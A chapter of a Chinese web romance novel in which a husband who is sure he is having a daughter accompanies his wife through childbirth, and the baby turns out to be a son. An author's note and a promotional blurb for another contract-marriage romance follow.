容微月状态好了许多,也从紧张的情绪走了出来,两人聊着天,她说要看看待产包,傅蔺征拿过来,里头是他前两天整理的。
容微月打开一看,有个粉色草莓的新生儿包被,可爱小兔款的小袜子小帽子小手套,还有给宝宝的粉色桃子盖毯和浴巾等等。
容微月诧异笑:“怎么都这么粉啊?”
“昂,小公主不就喜欢这种?”
容微月笑:“还不敢确定呢,如果万一是男孩子呢?”
傅蔺征神色顿了顿,“没事,男孩子不也能用粉色?反正刚出生都一样。”
微信兄弟群里,夏斯礼几个不方便来,也在群里关心微月的情况,询问傅蔺征,他回复:【还没生,打了无痛,估计明早就能见到女儿了。】
夏斯礼:【你这是还没开盲盒就确定了?】
湖安:【阿征,你咋确定是女儿的?】
傅蔺征挑眉:【这不是很明显?第一,酸儿辣女,月月爱吃辣的,第二,月月皮肤越来越好了,都说生女儿会变更漂亮,我老婆越来越好看了,而且我最近老做梦陪她去给宝宝买小裙子,这都是来自女儿的暗示,懂么?】
付则承绷不
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住笑,身为医生出来科普:【傅蔺征,你这些都是民间说法,没科学依据的,
而且难道不是你日有所思夜有所梦?】
湖安:【阿征这是想女儿想魔怔了哈哈哈。】
夏斯礼笑:【希望咱们傅大少爷梦想成真,这要生个儿子出来,绝对跟你抢月月,你以后地位不保了哈哈哈哈。】
傅蔺征轻嗤:【不管男女,我在月月那边永远第一。】
傅蔺征把这聊天记录给容微月看,她被逗得眉眼弯弯,傅蔺征问:“我永远在你这儿是第一,对吧?”
“嗯……我尽量。”
傅蔺征:??
“还尽量?”他气得倾身来索吻,小姑娘眼睛笑成月亮,讨饶,亮着眸子看向他,“逗你的,你在我这里当然是第一,不管这个世界上还有谁出现,你都是第一。”
他对她来说,比一切都重要。
傅蔺征闻言,勾唇摸摸她的头:“你在我这儿也是一样,不管生男生女,最重要的是你要平平安安,你比宝宝更重要。”
对傅蔺征来说,现在对她的担忧大于对孩子的期待,他的小姑娘身体一直不好,生孩子对她的身体是很大的考验,之前他还体会过分娩疼痛,比他出车祸当时还要疼,他更是担心了。
两家人轮流守着,殷绿、夏千棠和霓音也过来探望,大家都无比期待。
容微月开指比较慢,一夜辗转,到第二天上午才被推去产房。
傅蔺征换上隔离服,之前两位妈妈本来说想进去陪产,但是傅蔺征格外坚持:“我想在月月身边,我必须守着她。”
她如果在里面疼哭,他不陪着,他在外面也会心慌死的。
容微月笑意温软:“没事,就让阿征陪我吧。”
到产房门口,家人和朋友们都给容微月加油打气,说在外面守着。
进去后,她躺在产台上,额头沁出细汗,麻醉虽然缓解了大部分疼痛,但宫缩一阵阵袭来,她还是会感觉害怕。
傅蔺征坐在她左侧,戴着口罩,目光一刻都没离开她,手套里的掌心都是汗,他握着她的手,给予最坚定的陪伴。
医生指导着,容微月尝试用力,额头冒出颗颗汗珠,咬着唇,脸色泛红。
傅蔺征哑声帮她数着节拍,监护仪的线在他眼前一跳一跳,每一格波动都像砸在他心口。
他感受到小姑娘的手在发抖,他眼底的血丝一寸寸晕染开,连呼吸也跟着发颤。
他曾经在赛道上以两百多公里的时速贴着生死边缘疾驰,也曾在那场严重的车祸中重伤濒死,却从未像此刻这样难受到心脏仿佛要崩裂。
容微月整个人几乎被汗水浸透,泪从眼角滚下来:“阿征……”
傅蔺征红着眼眶,紧握住她的手,给她擦着汗珠,嗓音低哑给予她鼓励:“宝宝,我
在这儿,很快了,你一定可以的。”
她咬紧牙关,手指掐进他手臂,傅蔺征手背渗出血却丝毫感觉不到,只恨不得夺过她所有的痛苦,替她扛下。
几轮下来,速度其实很快,却像是过了一个世纪那么漫长。
忽而,一道稚嫩而清脆的啼哭声响起,宣告着一个新生命的到来。
那一瞬间,傅蔺征的眼睛彻底红了。
医生报来好消息,容微月虚弱地喘着气,泪水与汗水交织,眉眼轻轻弯起:“阿征……我们相遇的第九年,我们的孩子出生了……”
傅蔺征心底强烈震颤,倾身抵着她额头,喉间发紧,说不出话。
他脑中闪回到高三那年雨夜,初次见到她的场景,她就像朵盛放的纯白山茶花,只一眼却轰轰烈烈闯进他的生命。
缠着她要联系方式,在琴房外守着她拉琴,困住她索吻,温柔哄她吃药,带她一路驰骋,到山顶看漫天星辰……
他们相爱,又散于人海,虽经过分离,可又幸运地再度走到一起。
她成为了他的太太。
如今又为他生下了他们的孩子。
一个连接着他和容微月全部爱意的小生命。
她那么勇敢,那么坚强,又那么伟大,给了他一个如此圆满的三口之家。
傅蔺征拂开容微月脸上被汗珠沾湿的头发,眼底发烫,泪珠砸在她手背。
容微月抬手抹掉他眼泪,鼻尖冒酸:“傅蔺征,你别哭……”
从分手,到重逢,再到婚礼,这一刻,他再度因为她而落泪。
他在她脸颊落下一吻,嗓音低哑:“宝宝,你辛苦了……我爱你。”
他真的好爱好爱她。
傅蔺征给她擦拭汗珠,护士抱着孩子含笑走过来,道:“恭喜傅先生、傅太太,是个小少爷,六斤四两。”
容微月莞尔,傅蔺征看着襁褓中的小家伙,眼底晕开柔意:“你刚刚说我女儿多重?”
“是小少爷,六斤四两。”
傅蔺征有些恍惚,勾唇摸摸小宝宝的脑袋:“母女平安就好。”
护士愣了下,再度笑着强调:“傅先生,是男孩,男孩,不是女孩。”
没事,怎样都好……
嗯?!!!!
傅蔺征忽而清醒过来,怔了下:“男孩?”
“对呀,特别可爱的小少爷呢。”
????
傅蔺征看着嚎啕哭声格外响亮的婴儿,忽而沉默,容微月转头看到他眼眶发红,诧异:
“阿征,你怎么又哭了?”
〓作者有话说〓
傅蔺征:女儿梦碎了,混世魔王来了[爆哭][爆哭][爆哭]
说好的父女连心呢,全是假的[爆哭]
呜呜呜
心疼月月,母亲真伟大~~也让我们恭喜闹闹出场!当然啦,其实儿子女儿阿征都爱[让我康康]!!接下来还有几章带娃番外~让我们看看阿征和闹闹之间相(爱)亲相爱(杀)的日常[垂耳兔头]
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温软怂妹女学生×矜贵沉稳京圈大佬
【先婚后爱/人前不熟人后猛亲/年龄差6/童话甜文】
1.
大四这年,毕业证还没领到的年纪,云眠扯了个结婚证。
对方长相清绝出尘,端方稳重,是程氏集团位高权重的现任掌权人,也是她实习公司的顶头上司。
和程疏凛第三次相见,雨夜滂沱。
云眠抱着被退回的简历在公交站台等车,眼见大雨不停,她破罐子破摔地拦了辆迈巴赫搭顺风车。
浑身湿透的她坐在车内仿佛与周遭一切格格不入,云眠小心翼翼环着双臂以免弄脏车子,却没想——
男人将他价值不菲的大衣披在自己身上,并问她:“有结婚的打算吗?”
“和我。”
2.
合约婚姻,协议夫妻。
云眠扮演得尽职尽责。
公司内,她和程疏凛形同陌路装不熟,公事公办连回家都被她要求不能同路。
某天上班,云眠不小心拎错了包,上司故意刁难她卡工作进度,当着部门众职员的面,阴阳怪气她一个穷学生怎么买得起二十万的Kelly。
众人顿时议论纷纷,造谣她被富豪包养,年纪轻轻就学会走弯路。
直至程疏凛到场,一句话回绝谣言:“我给程太太买什么,需要经过你们同意吗?”
平日里淡漠的男人将发烧的她抱在怀里,额头与云眠轻轻相贴,温声安慰:“我们回家。”
愣在原地的众人:程……太太??!!!
3.
后来凌晨,前男友打通了云眠的电话求复合。
“谁啊……”
小姑娘意识惺忪,睁开眼就见程疏凛按下免提把手机扔在了床头,下巴被他卡在虎口吻得快要失氧。
“程疏凛……”云眠直呼他全名,细嘤阻止,“都扯坏第三条了……”
男人沉着声揽她入怀,“宝宝,多少我都赔。”